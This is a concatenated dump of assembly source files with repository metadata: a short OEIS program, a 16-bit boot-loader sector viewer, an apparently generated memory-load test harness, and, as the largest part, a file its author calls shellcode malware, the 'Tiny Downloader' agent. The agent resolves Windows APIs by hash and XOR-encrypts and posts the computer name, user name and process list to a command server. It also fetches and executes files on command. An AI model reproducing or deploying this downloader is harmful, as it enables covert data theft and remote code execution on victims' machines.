seq $0,10 ; Euler totient function phi(n): count numbers <= n and prime to n.
mov $1,$2
mul $1,2
lpb $2
add $0,2
mov $1,$0
mov $2,1
lpe
div $1,2
mov $0,$1
| 30.733333 | 176 | 0.624729 |
e14eded546abcc40105b7589abe52e60d09d5aa9 | 6,641 | asm | Assembly | boot2.asm | FoxForge/Intel86-16bitOS-Assembler-HexEdit | 7b75ef9a5cc7ee47663167ee5552e7ce05d4ca52 | [
"MIT"
] | null | null | null | boot2.asm | FoxForge/Intel86-16bitOS-Assembler-HexEdit | 7b75ef9a5cc7ee47663167ee5552e7ce05d4ca52 | [
"MIT"
] | null | null | null | boot2.asm | FoxForge/Intel86-16bitOS-Assembler-HexEdit | 7b75ef9a5cc7ee47663167ee5552e7ce05d4ca52 | [
"MIT"
] | null | null | null | ; Second stage of the boot loader
BITS 16
ORG 9000h
jmp Second_Stage
%include "functions_16.asm"
%include "bpb.asm" ; The BIOS Parameter Block (i.e. information about the disk format)
%include "floppy16.asm" ; Routines to access the floppy disk drive
; Start of the second stage of the boot loader
Second_Stage:
mov [boot_device], dl ; Boot device number is passed in from first stage in DL. Save it to pass to kernel later.
mov si, second_stage_msg ; Output our greeting message
call Console_WriteLine_16
Prompt_User_Start_Sector:
mov bx, 1 ; bx used as flag set to 1 for first question
mov si, enter_start_msg ; prepare the message
call Console_Write_16 ; print the enter number message
mov cx, 0 ; set register to store the input to zero
jmp Get_Input ; jmp to get input
Prompt_User_Amount_Sector:
mov bx, 0 ; bx used as flag set to 0 for second question
mov si, enter_amount_msg ; prepare the message
call Console_Write_16 ; print the enter number message
mov cx, 0 ; set register to store the input to zero
Get_Input: ; get input will eventually store the user's inputed number into cx
mov ah, 00h ; get the character the input and store in al
int 16h
Check_Input:
cmp al, 0Dh ; check for the enter key/carriage return which will stop the input
je Input_Return
cmp al, '0' ; check our input is above zero
jb Get_Input
cmp al, '9' ; check our input is below nine
ja Get_Input
mov ah, 0Eh ; print the input to the screen
int 10h
Convert_Digit:
push ax ; push ax to not ruin the input
mov ax, cx
push cx ; push cx to not ruin the final register
mov cx, 10 ; multiply cx by 10
mul cx ; first input will result in zero for cx
pop cx
mov cx, ax ; move the result we want from multiplication to cx
pop ax ; restore the input register
sub al, 30h ; convert al register from the ascii value
mov ah, 0 ; add al to the cx register, so we must clear ah to only add the part we want
add cx, ax
jmp Get_Input ; go back and get the other next input
Input_Return: ; by this point, the user's input number will be in cx
call Console_Write_CRLF ; Once input is complete, go to the next line ready to print further
push cx ; push the user's input to the stack so we can retrieve it later
Setup_Sector_Read:
cmp bx, 0 ; compare the question flag (first or second question?)
jg Prompt_User_Amount_Sector ; go to second question if not done
pop cx
mov dx, cx ; store the most recent answer in dx while we retireve previous answer
pop cx ; pop cx the second time to get previous answer
mov ax, cx ; move user input start sector to ax
mov cx, dx ; move user input amount of sectors to cx
push cx ; push cx to avoid any changes from reading
mov bx, buffer_start ; set bx to our buffer
call ReadSectors
mov si, buffer_start ; initialize our pointer to the start
pop cx
add cx, cx ; read 2x16 lines foreach sector, so we must double the user input to use it as counter
Sector_Write_16:
push cx ; push cx to preserve the amount of times to read the sectors (from user input)
mov cx, 16 ; setup loop so it runs through 16 lines (with each starting a new line)
Sector_WriteLine:
push cx ; push cx (2 of 3) to preserve counter
Sector_Write_Offset:
mov dx, si ; move current position into dx
sub dx, buffer_start ; get the offset into dx
push si ; preserve the pointer to the offset
mov bx, dx ; move dx into bx for printing out
push si ; push the si pointer to not get changed by printing
push cx ; preserve cx from output manipulation by pushing
call Console_Write_Hex_16
call Console_Write_Space
pop cx
pop si
push cx ; push cx (3 of 3) to preserve counter
mov cx, 16 ; setup loop so it runs through 16 hex pairs (with spaces inbetween)
Sector_Write_Hex_8:
mov bx, [si] ; take from the pointer location
push cx ; preserve cx from output manipulation by pushing
push si ; push the pointer to not get changed by printing
call Console_Write_Hex_8
call Console_Write_Space
pop si
pop cx ; pop cx (3 of 3) so the loop can decrement it
inc si ; increment the pointer along the buffer
loop Sector_Write_Hex_8 ; loop until all 16 hex pairs have been outputed
pop cx
pop si ; return pointer to pointing at offset from previous push
mov cx, 16 ; setup loop so it runs through 16 ascii chars
Sector_Write_ASCII:
push si ; preserve the pointer before outputting ascii
call Console_Write_ASCII
pop si ; pop the pointer
inc si ; increment the pointer along the buffer (this time we will not reset it back)
loop Sector_Write_ASCII ; loop until all 16 characters have been outputed
call Console_Write_CRLF ; call for the next line
pop cx ; pop cx (2 of 3) so the loop can decrement it
loop Sector_WriteLine ; loop until all 16 Lines have been outputed
Handle_Output_Sections:
pop cx ; pop cx (1 of 3) for the sector segment
dec cx
cmp cx, 0 ; have we printed enough lines the sector(s) asked?
jg Wait_Continue_Press
Re_Prompt:
call Console_Write_CRLF ; Finished! The sector has been fully read and printed from user input!
jmp Prompt_User_Start_Sector ; Re-prompt the user for another sector to read and display
Wait_Continue_Press:
push cx ; preserve the counter for sector segment
push si ; preserve the pointer to the current position
mov si, continue_msg ; prepare the message prompt
call Console_WriteLine_16 ; output the prompt for pressing a key to continue
mov ah, 00h ; wait for any key press
int 16h
pop si ; return pointer to its position ready to write the next 16 lines
pop cx
call Sector_Write_16
Safety_Halt: ; code should never reach here (this is for safety)
hlt
enter_start_msg db 'Enter the starting sector number: ', 0
enter_amount_msg db 'Enter the amount of sectors to read: ', 0
continue_msg db 'Press any key to continue...', 0
second_stage_msg db 'Second stage of boot loader running', 0
boot_device db 0
buffer_start db 0D000h
| 41.767296 | 116 | 0.669929 |
adf9c01bec9b0c95ff8aa9c29dca21bf8a84f432 | 17,911 | asm | Assembly | agent/main.asm | ElvisBlue/Tiny-Downloader | 1c620a0cc4ff8ea813e0d5c4f07d9ae14efe47b5 | [
"MIT"
] | 1 | 2020-08-19T19:14:12.000Z | 2020-08-19T19:14:12.000Z | agent/main.asm | ElvisBlue/Tiny-Downloader | 1c620a0cc4ff8ea813e0d5c4f07d9ae14efe47b5 | [
"MIT"
] | null | null | null | agent/main.asm | ElvisBlue/Tiny-Downloader | 1c620a0cc4ff8ea813e0d5c4f07d9ae14efe47b5 | [
"MIT"
] | 1 | 2019-06-21T20:46:43.000Z | 2019-06-21T20:46:43.000Z | ;Elvis proundly to present
;The Tiny downloader
;Shellcode malware
.386
.model flat, stdcall
option casemap:none
include kernel32.inc
include user32.inc
include windows.inc
include define.inc
includelib kernel32.lib
includelib user32.lib
API_Array struct
;Kernel32 part
;NUM_OF_KERNEL32_API
pLoadLibrary dd ?
pGetProcAddress dd ?
pGlobalAlloc dd ?
pGlobalFree dd ?
pCreateToolhelp32Snapshot dd ?
pProcess32First dd ?
pProcess32Next dd ?
pCloseHandle dd ?
pSleep dd ?
pGetComputerName dd ?
pExpandEnvironmentStrings dd ?
;WinHttp part
;NUM_OF_WINHTTP_API
pWinHttpOpen dd ?
pWinHttpConnect dd ?
pWinHttpOpenRequest dd ?
pWinHttpSendRequest dd ?
pWinHttpCloseHandle dd ?
pWinHttpReceiveResponse dd ?
pWinHttpQueryDataAvailable dd ?
pWinHttpReadData dd ?
;Shell32 part
;NUM_OF_SHELL32_API
pShellExecute dd ?
;Advapi32 part
;NUM_OF_ADVAPI32_API
pGetUserName dd ?
;Urlmon part
;NUM_OF_URLMON_API
pURLDownloadToFile dd ?
;Wininet
;NUM_OF_WININET_API
pDeleteUrlCacheEntry dd ?
API_Array EndS
SecuredPostData proto :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD
GetComputerData proto: DWORD, :DWORD
GetProcessList proto :DWORD, :DWORD
MainProgram proto :DWORD, :DWORD
API_Init proto :DWORD
Load_API_From_Base proto :DWORD, :DWORD, :DWORD
Xor_Enc proto :DWORD, :DWORD, :BYTE
memset proto :DWORD, :BYTE, :DWORD
.data
.data?
.const
NUM_OF_KERNEL32_API equ 11
NUM_OF_WINHTTP_API equ 8
NUM_OF_SHELL32_API equ 1
NUM_OF_ADVAPI32_API equ 1
NUM_OF_URLMON_API equ 1
NUM_OF_WININET_API equ 1
MAX_BUFFER_SIZE equ SIZE_OF_HEADER + SIZE_OF_DATA
SIZE_OF_HEADER equ 9
SIZE_OF_DATA equ 500h
POST_KEY equ 0EBh
RECV_KEY equ 0BEh
.code
start:
cld
call Get_Data_Ptr
;store bundle of API here. Follow the API_Array struct
;Kernel32
dd 0348BF434h, 070B7098h, 0269D395Ah, 08CD14C91h, 09696B34Eh, 0CA526DEAh, 0FE63E981h, 0A3BCCA20h, 0FA920757h, 03F80B76Fh, 0A6CD011Eh
;WinHttp
dd 0C99B39FEh, 0AA1C76F6h, 03AF183C7h, 01BDC49Fh, 0865BD6CEh, 01FFC679Eh, 067113E5Dh, 0A4A64982h
;Shell32
dd 0A663AC4Ah
;Advapi32
dd 0708FAE7Fh
;Urlmon
dd 01E23CFEDh
;Wininet
dd 069EDB96Bh
Get_Data_Ptr:
pop esi
invoke API_Init, esi
.if eax == 0
ret
.endif
push esi
call Push_CnC
dw "l", "o", "c", "a", "l", "h", "o", "s", "t",0
dw 50 dup (0)
Push_CnC:
call MainProgram
xor eax, eax
ret
memset proc uses esi edi buffer:DWORD, value:BYTE, num:DWORD
mov ecx, num
mov al, value
mov edi, buffer
rep stosb
mov eax, buffer
ret
memset EndP
SecuredPostData proc uses esi edi Url_Ptr:DWORD, Path:DWORD, Data:DWORD, Data_Length:DWORD, Recv_Data:DWORD, Recv_Data_Length_Ptr:DWORD, API_Ptr:DWORD
local hSession: DWORD
local hConnect: DWORD
local hRequest: DWORD
local dwDownload:DWORD
mov esi, API_Ptr
assume esi: ptr API_Array
;Clear local variable
xor eax, eax
mov hSession, eax
mov hConnect, eax
mov hRequest, eax
mov dwDownload, 0
mov edx, Recv_Data_Length_Ptr ;Clear Recv_Data_Length_Ptr
xor eax, eax
mov dword ptr [edx], eax
;Encrypt data before post to server with key is 0xEB
invoke Xor_Enc, Data, Data_Length, POST_KEY
push 0
push WINHTTP_NO_PROXY_BYPASS
push WINHTTP_NO_PROXY_NAME
push WINHTTP_ACCESS_TYPE_DEFAULT_PROXY
call Push_User_Agent
dw "M", "o", "z", "i", "l", "l", "a", "/", "4", ".", "0", " ", "(", "c", "o", "m", "p", "a", "t", "i", "b", "l", "e", ";", " "
dw "M", "S", "I", "E", " ", "9", ".", "0", ";", " ", "W", "i", "n", "d", "o", "w", "s", " ", "N", "T", " ", "6", ".", "1", ")",0
Push_User_Agent:
call [esi].pWinHttpOpen
.if eax == 0
jmp Exit
.endif
mov hSession, eax
push 0
push INTERNET_DEFAULT_HTTP_PORT
push Url_Ptr
push eax
call [esi].pWinHttpConnect
.if eax == 0
jmp Free_And_Exit
.endif
mov hConnect, eax
push 0
push WINHTTP_DEFAULT_ACCEPT_TYPES
push WINHTTP_NO_REFERER
push NULL
push Path
call Push_POST
dw "P", "O", "S", "T", 0
Push_POST:
push eax
call [esi].pWinHttpOpenRequest
.if eax == 0
jmp Free_And_Exit
.endif
mov hRequest, eax
push 0
push Data_Length
push Data_Length
push Data
push 0
push WINHTTP_NO_ADDITIONAL_HEADERS
push eax
call [esi].pWinHttpSendRequest
.if eax == 0
jmp Free_And_Exit
.endif
push NULL
push hRequest
call [esi].pWinHttpReceiveResponse
.if eax == 0
jmp Free_And_Exit
.endif
;Because max buffer is 500h.
;So no loop at all
push Recv_Data_Length_Ptr
push hRequest
call [esi].pWinHttpQueryDataAvailable
.if eax == 0
jmp Free_And_Exit
.endif
;Check if data length is > MAX_BUFFER_SIZE
mov edx, Recv_Data_Length_Ptr
mov eax, dword ptr [edx]
.if eax > SIZE_OF_DATA
;ignore this packet
xor eax, eax
mov dword ptr [edx], eax
jmp Free_And_Exit
.endif
lea eax, dwDownload
push eax
push dword ptr [edx]
push Recv_Data
push hRequest
call [esi].pWinHttpReadData
.if eax == 0
;Failed to read data
mov edx, Recv_Data_Length_Ptr
xor eax, eax
mov dword ptr [edx], eax
.endif
;Decrypt data from server
mov edx, Recv_Data_Length_Ptr
mov eax, dword ptr [edx]
invoke Xor_Enc, Recv_Data, eax, RECV_KEY
Free_And_Exit:
mov eax, hSession
.if eax != 0
push eax
call [esi].pWinHttpCloseHandle
.endif
mov eax, hConnect
.if eax != 0
push eax
call [esi].pWinHttpCloseHandle
.endif
mov eax, hRequest
.if eax != 0
push eax
call [esi].pWinHttpCloseHandle
.endif
Exit:
xor eax, eax
ret
SecuredPostData EndP
GetProcessList proc uses esi edi Buffer:DWORD, API_Ptr:DWORD
;function return length of data
local hProcessSnap:DWORD
local cursor:DWORD
local pe32:PROCESSENTRY32
;First clear memory of pe32
lea eax, pe32
invoke memset, eax, 0, sizeof PROCESSENTRY32
;prepare cursor = Buffer
push Buffer
pop cursor
mov esi, API_Ptr
assume esi: ptr API_Array
push 0
push TH32CS_SNAPPROCESS
call [esi].pCreateToolhelp32Snapshot
.if eax == INVALID_HANDLE_VALUE
xor eax, eax
ret
.endif
mov hProcessSnap, eax
mov pe32.dwSize, sizeof PROCESSENTRY32
lea eax, pe32
push eax
push hProcessSnap
call [esi].pProcess32First
.if eax == ERROR_NO_MORE_FILES
jmp End_Process_Loop
.endif
.repeat
lea edx, pe32.szExeFile
mov ecx, cursor
.while byte ptr [edx] != 0
mov al, byte ptr [edx]
mov byte ptr [ecx], al
inc ecx
inc edx
.endw
mov byte ptr [ecx], '/'
inc ecx
mov cursor, ecx
lea eax, pe32
push eax
push hProcessSnap
call [esi].pProcess32Next
.until eax != TRUE
push hProcessSnap
call [esi].pCloseHandle
mov eax, cursor
mov byte ptr [eax-1], 0 ;Clear last '/'
sub eax, Buffer
ret
End_Process_Loop:
push hProcessSnap
call [esi].pCloseHandle
xor eax, eax
ret
GetProcessList EndP
GetComputerData proc uses esi Buffer:DWORD, API_Ptr:DWORD
;return length of data
local tmp:DWORD, Computer_Name_Length: DWORD
mov esi, API_Ptr
assume esi: ptr API_Array
lea eax, tmp
push eax
push Buffer
call [esi].pGetComputerName
.if eax == 0
mov tmp, 0
.endif
mov edx, tmp
push tmp
pop Computer_Name_Length
mov eax, Buffer
lea edx, [eax + edx]
mov byte ptr [edx], '/'
inc edx
lea eax, tmp
push eax ;
push edx ;
call [esi].pGetUserName
.if eax == 0
mov tmp, 0
.endif
mov eax, Computer_Name_Length
add eax, tmp
inc eax
ret
GetComputerData EndP
MainProgram proc Enc_CnC:DWORD, API_Ptr: DWORD
local BufferSend :DWORD
local BufferRecv :DWORD
local Recv_Length :DWORD
local Submit_Path :DWORD
local hwid :DWORD
;Clear some local variable
xor eax, eax
mov BufferSend, eax
mov BufferRecv, eax
mov esi, API_Ptr
assume esi: ptr API_Array
push MAX_BUFFER_SIZE
push GPTR
call [esi].pGlobalAlloc
mov BufferSend, eax
.if eax == 0
xor eax, eax
ret
.endif
push MAX_BUFFER_SIZE
push GPTR
call [esi].pGlobalAlloc
mov BufferRecv, eax
.if eax == 0
jmp break
.endif
;prepare C&C path
call Push_Submit_Path
dw "/", "i", "n", "d", "e", "x", ".", "p", "h", "p",0 ;look legit ;)
Push_Submit_Path:
pop Submit_Path
;OK we need hwid. Hash the computername/username
invoke GetComputerData, BufferSend, esi
push BufferSend
call @DJB_Hash
add esp, 4
mov hwid, eax
.while(TRUE)
;Get Computer data
;Prepare header
invoke memset, BufferSend, 0, MAX_BUFFER_SIZE
mov eax, BufferSend
mov dword ptr [eax], 0CAFEBABEh ;header = 0xCAFEBABE
add eax, 4
mov byte ptr [eax], 0 ;id = 0 -> heart beat
inc eax
push hwid
pop dword ptr [eax]
add eax, 4
invoke GetComputerData,eax, esi
push eax ;save data size
;POST to server
;TOTO: Write code here
invoke memset, BufferRecv, 0, MAX_BUFFER_SIZE
pop eax
add eax, SIZE_OF_HEADER
lea edx, Recv_Length
invoke SecuredPostData, Enc_CnC, Submit_Path, BufferSend, eax, BufferRecv, edx, API_Ptr
;Now dispatch command from C&C
mov edx, BufferRecv
mov eax, dword ptr [edx]
.if eax == 0CAFEBABEh
add edx, 4
mov al, byte ptr [edx]
.if al == 0
;OK. Do nothing
.elseif al == 1
;Download and execute
;packet data struct
;DWORD: Size of uel
;BYTE[]: Url
;DWORD: Size of save path
;BYTE[]: Saved path (with or without environment string)
;Very complex ASM :)
inc edx
mov eax, dword ptr [edx] ;size of url
add edx, 4
;call UrlDownloadToFile
push NULL
push 0
push BufferSend
push edx ;push url
;call DeleteUrlCacheEntry
push edx ;push url
lea ecx, [eax + edx]
xor eax, eax
mov dword ptr [ecx], eax ;clear size of save path. We do not need this
add ecx, 4 ;ecx pointer to save path
;Call ExpandEnvironmentStrings
push MAX_BUFFER_SIZE - 1
push BufferSend
push ecx
;call memset
invoke memset, BufferSend, 0, MAX_BUFFER_SIZE
call [esi].pExpandEnvironmentStrings
.if eax == 0
add esp, 20
jmp End_Dispatch
.endif
call [esi].pDeleteUrlCacheEntry
push NULL
call [esi].pURLDownloadToFile
.if eax == S_OK
push SW_SHOWDEFAULT ;Default or hide?
push NULL
push NULL
push BufferSend
call Push_open
db 'open',0
Push_open:
push NULL
call [esi].pShellExecute
.endif
.endif
.endif
End_Dispatch:
push 10000 ;10 seconds sleep
call [esi].pSleep
;Get Process list
;Preapare header
invoke memset, BufferSend, 0, MAX_BUFFER_SIZE
mov eax, BufferSend
mov dword ptr [eax], 0CAFEBABEh ;header = 0xCAFEBABE
add eax, 4
mov byte ptr [eax], 1 ;id = 1 -> process list
inc eax
push hwid
pop dword ptr [eax]
add eax, 4
invoke GetProcessList, eax, esi
push eax
;POST to server
;TOTO: Write code here
invoke memset, BufferRecv, 0, MAX_BUFFER_SIZE
pop eax
add eax, SIZE_OF_HEADER
lea edx, Recv_Length
invoke SecuredPostData, Enc_CnC, Submit_Path, BufferSend, eax, BufferRecv, edx, API_Ptr
push 30000 ;30 seconds sleep
call [esi].pSleep
.endw
break:
.if BufferSend != 0
push BufferSend
call [esi].pGlobalFree
.endif
.if BufferRecv != 0
push BufferRecv
call [esi].pGlobalFree
.endif
ret
MainProgram EndP
API_Init proc uses esi API_Ptr:DWORD
;First get the kernel32 base
;Thank to: https://securitycafe.ro/2016/02/15/introduction-to-windows-shellcode-development-part-3/
;P/s: I heard some people said that 3rd module might be replaced by AV's dll. Gonna improve some day :)
local cnt:DWORD
assume fs:nothing
xor ecx, ecx
mov cnt, ecx
mov eax, fs:[ecx + 30h] ; EAX = PEB
mov eax, [eax + 0Ch] ; EAX = PEB->Ldr
mov esi, [eax + 14h] ; ESI = PEB->Ldr.InMemOrder
lodsd ; EAX = Second module
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 10h] ; EBX = Base address
;Call function to load API
invoke Load_API_From_Base, API_Ptr, NUM_OF_KERNEL32_API, ebx
.if eax == 0
jmp Failed
.endif
call Push_WinHttp_Dll
db 'Winhttp.dll',0
Push_WinHttp_Dll:
assume esi: ptr API_Array
mov esi, API_Ptr
call [esi].pLoadLibrary
.if eax == 0
;Can't load Winhttp.dll
jmp Failed
.endif
mov ebx, eax
mov eax, esi
add eax, NUM_OF_KERNEL32_API*4
invoke Load_API_From_Base, eax, NUM_OF_WINHTTP_API, ebx
.if eax == 0
jmp Failed
.endif
call Push_Shell32_Dll
db 'Shell32.dll',0
Push_Shell32_Dll:
call [esi].pLoadLibrary
.if eax == 0
;Can't load Shell32.dll
jmp Failed
.endif
mov ebx, eax
mov eax, esi
add eax, (NUM_OF_KERNEL32_API*4 + NUM_OF_WINHTTP_API*4)
invoke Load_API_From_Base, eax, NUM_OF_SHELL32_API, ebx
.if eax == 0
jmp Failed
.endif
call Push_Advapi32_Dll
db 'Advapi32.dll',0
Push_Advapi32_Dll:
call [esi].pLoadLibrary
.if eax == 0
;Can't load Advapi32.dll
jmp Failed
.endif
mov ebx, eax
mov eax, esi
add eax, (NUM_OF_KERNEL32_API*4 + NUM_OF_WINHTTP_API*4 + NUM_OF_SHELL32_API*4)
invoke Load_API_From_Base, eax, NUM_OF_ADVAPI32_API, ebx
.if eax == 0
jmp Failed
.endif
call Push_Urlmon_Dll
db 'Urlmon.dll',0
Push_Urlmon_Dll:
call [esi].pLoadLibrary
.if eax == 0
;Can't load Urlmon.dll
jmp Failed
.endif
mov ebx, eax
mov eax, esi
add eax, (NUM_OF_KERNEL32_API*4 + NUM_OF_WINHTTP_API*4 + NUM_OF_SHELL32_API*4 + NUM_OF_ADVAPI32_API*4)
invoke Load_API_From_Base, eax, NUM_OF_URLMON_API, ebx
.if eax == 0
jmp Failed
.endif
call Push_Wininet_Dll
db 'Wininet.dll',0
Push_Wininet_Dll:
call [esi].pLoadLibrary
.if eax == 0
;Can't load wininet.dll
jmp Failed
.endif
mov ebx, eax
mov eax, esi
add eax, (NUM_OF_KERNEL32_API*4 + NUM_OF_WINHTTP_API*4 + NUM_OF_SHELL32_API*4 + NUM_OF_ADVAPI32_API*4 + NUM_OF_URLMON_API*4)
invoke Load_API_From_Base, eax, NUM_OF_WININET_API, ebx
.if eax == 0
jmp Failed
.endif
xor eax, eax
mov al, 1
ret
Failed:
xor eax, eax
ret
API_Init EndP
Load_API_From_Base proc uses esi ebx API_Ptr:DWORD, NumOfAPI:DWORD, ModuleBase:DWORD
local cnt:DWORD
xor eax, eax
mov cnt, eax
mov ebx, ModuleBase
mov esi, API_Ptr
Get_API_Loop_Start:
lodsd
mov ecx, cnt
.if ecx < NumOfAPI
push eax ;API checksum/hash
push ebx ;kernel32 base
call Get_API_By_Checksum ;Not a stdcall so add esp, 8
add esp, 8
.if eax == 0
;Failed to find API :(
xor eax, eax
ret
.endif
mov dword ptr [esi - 4], eax
inc cnt
jmp Get_API_Loop_Start
.endif
xor eax, eax
mov al, 1
ret
Load_API_From_Base EndP
Xor_Enc proc uses esi ebx Buffer: DWORD, BufferSize: DWORD, Key: BYTE
xor ecx, ecx
mov al, Key
mov edx, Buffer
.while ecx < BufferSize
mov bl, byte ptr [edx + ecx]
xor al, bl
mov byte ptr [edx + ecx], al
inc ecx
.endw
ret
Xor_Enc EndP
;RIpped code part
;Compile to C++ then .... RIP
;DJB Hash
@DJB_Hash:
push ebp
mov ebp, esp
push ecx
mov dword ptr ss:[ebp-4h], 0CAFEBABEh
jmp short @L_00181846
@L_0018183D:
mov eax, dword ptr ss:[ebp+8h]
add eax, 1h
mov dword ptr ss:[ebp+8h], eax
@L_00181846:
mov ecx, dword ptr ss:[ebp+8h]
movsx edx, byte ptr ds:[ecx]
test edx, edx
je short @L_00181866
mov eax, dword ptr ss:[ebp-4h]
shl eax, 5h
add eax, dword ptr ss:[ebp-4h]
mov ecx, dword ptr ss:[ebp+8h]
movsx edx, byte ptr ds:[ecx]
add eax, edx
mov dword ptr ss:[ebp-4h], eax
jmp short @L_0018183D
@L_00181866:
mov eax, dword ptr ss:[ebp-4h]
mov esp, ebp
pop ebp
ret
;Get API By checksum
;Totally not a std call
Get_API_By_Checksum:
push ebp
mov ebp, esp
sub esp, 14h
cmp dword ptr ss:[ebp+8h], 0h
je @L00000004
mov eax, dword ptr ss:[ebp+8h]
mov ecx, dword ptr ds:[eax+3Ch]
mov edx, dword ptr ss:[ebp+8h]
mov eax, dword ptr ss:[ebp+8h]
add eax, dword ptr ds:[edx+ecx*1h+78h]
mov dword ptr ss:[ebp-0Ch], eax
mov ecx, dword ptr ss:[ebp-0Ch]
mov edx, dword ptr ss:[ebp+8h]
add edx, dword ptr ds:[ecx+20h]
mov dword ptr ss:[ebp-10h], edx
mov eax, dword ptr ss:[ebp-0Ch]
mov ecx, dword ptr ss:[ebp+8h]
add ecx, dword ptr ds:[eax+24h]
mov dword ptr ss:[ebp-8h], ecx
mov edx, dword ptr ss:[ebp-0Ch]
mov eax, dword ptr ss:[ebp+8h]
add eax, dword ptr ds:[edx+1Ch]
mov dword ptr ss:[ebp-14h], eax
mov ecx, dword ptr ss:[ebp-0Ch]
mov edx, dword ptr ds:[ecx+18h]
mov dword ptr ss:[ebp-4h], edx
mov dword ptr ss:[ebp-4h], 0h
jmp short @L00000002
@L00000001:
mov eax, dword ptr ss:[ebp-4h]
add eax, 1h
mov dword ptr ss:[ebp-4h], eax
@L00000002:
mov ecx, dword ptr ss:[ebp-0Ch]
mov edx, dword ptr ss:[ebp-4h]
cmp edx, dword ptr ds:[ecx+18h]
jae short @L00000004
mov eax, dword ptr ss:[ebp-4h]
mov ecx, dword ptr ss:[ebp-10h]
mov edx, dword ptr ds:[ecx+eax*4h]
add edx, dword ptr ss:[ebp+8h]
push edx
call @DJB_Hash
add esp, 4h
cmp eax, dword ptr ss:[ebp+0Ch]
jne short @L00000003
mov eax, dword ptr ss:[ebp-4h]
mov ecx, dword ptr ss:[ebp-8h]
movzx edx, word ptr ds:[ecx+eax*2h]
mov eax, dword ptr ss:[ebp-14h]
mov eax, dword ptr ds:[eax+edx*4h]
add eax, dword ptr ss:[ebp+8h]
jmp short @L00000005
@L00000003:
jmp short @L00000001
@L00000004:
xor eax, eax
@L00000005:
mov esp, ebp
pop ebp
ret
end start | 22.672152 | 151 | 0.654905 |
2c241c5567ec60fdd80cb6faddbea86edab7b25b | 6,481 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_2221.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_2221.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_2221.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x13ed, %rax
nop
nop
and $65384, %rdx
mov (%rax), %bp
nop
nop
nop
nop
nop
lfence
lea addresses_normal_ht+0x14dd5, %r12
add %rbx, %rbx
mov $0x6162636465666768, %r10
movq %r10, %xmm7
vmovups %ymm7, (%r12)
nop
cmp $20628, %rax
lea addresses_WC_ht+0x1579d, %rbx
nop
nop
nop
nop
dec %rdx
movl $0x61626364, (%rbx)
nop
and %r10, %r10
lea addresses_UC_ht+0x1bb55, %rsi
lea addresses_WT_ht+0xa355, %rdi
nop
nop
dec %rax
mov $26, %rcx
rep movsl
nop
nop
nop
nop
nop
xor $56452, %rdx
lea addresses_UC_ht+0x2155, %rsi
lea addresses_WC_ht+0xfc55, %rdi
nop
and $27492, %rdx
mov $58, %rcx
rep movsb
nop
inc %r10
lea addresses_A_ht+0x170a5, %rsi
clflush (%rsi)
nop
nop
nop
nop
add %rcx, %rcx
mov $0x6162636465666768, %rdi
movq %rdi, %xmm3
movups %xmm3, (%rsi)
nop
nop
nop
nop
nop
xor %r12, %r12
lea addresses_normal_ht+0x10f55, %r12
sub $56777, %rcx
movw $0x6162, (%r12)
nop
nop
cmp $18456, %rdx
lea addresses_normal_ht+0x162d5, %rdi
nop
nop
nop
nop
add $58929, %rsi
mov $0x6162636465666768, %rcx
movq %rcx, (%rdi)
nop
and %rdi, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %r15
push %rax
push %rdx
push %rsi
// Store
lea addresses_PSE+0x1fd55, %rsi
clflush (%rsi)
sub %r14, %r14
movl $0x51525354, (%rsi)
nop
nop
nop
inc %r15
// Store
lea addresses_WC+0x12381, %r12
clflush (%r12)
xor %r14, %r14
movb $0x51, (%r12)
nop
nop
sub %r12, %r12
// Faulty Load
lea addresses_WC+0xa555, %r12
nop
nop
sub %rax, %rax
movups (%r12), %xmm4
vpextrq $1, %xmm4, %rsi
lea oracles, %r13
and $0xff, %rsi
shlq $12, %rsi
mov (%r13,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rax
pop %r15
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 11, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 2, 'size': 1, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 3, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 7, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': True}}
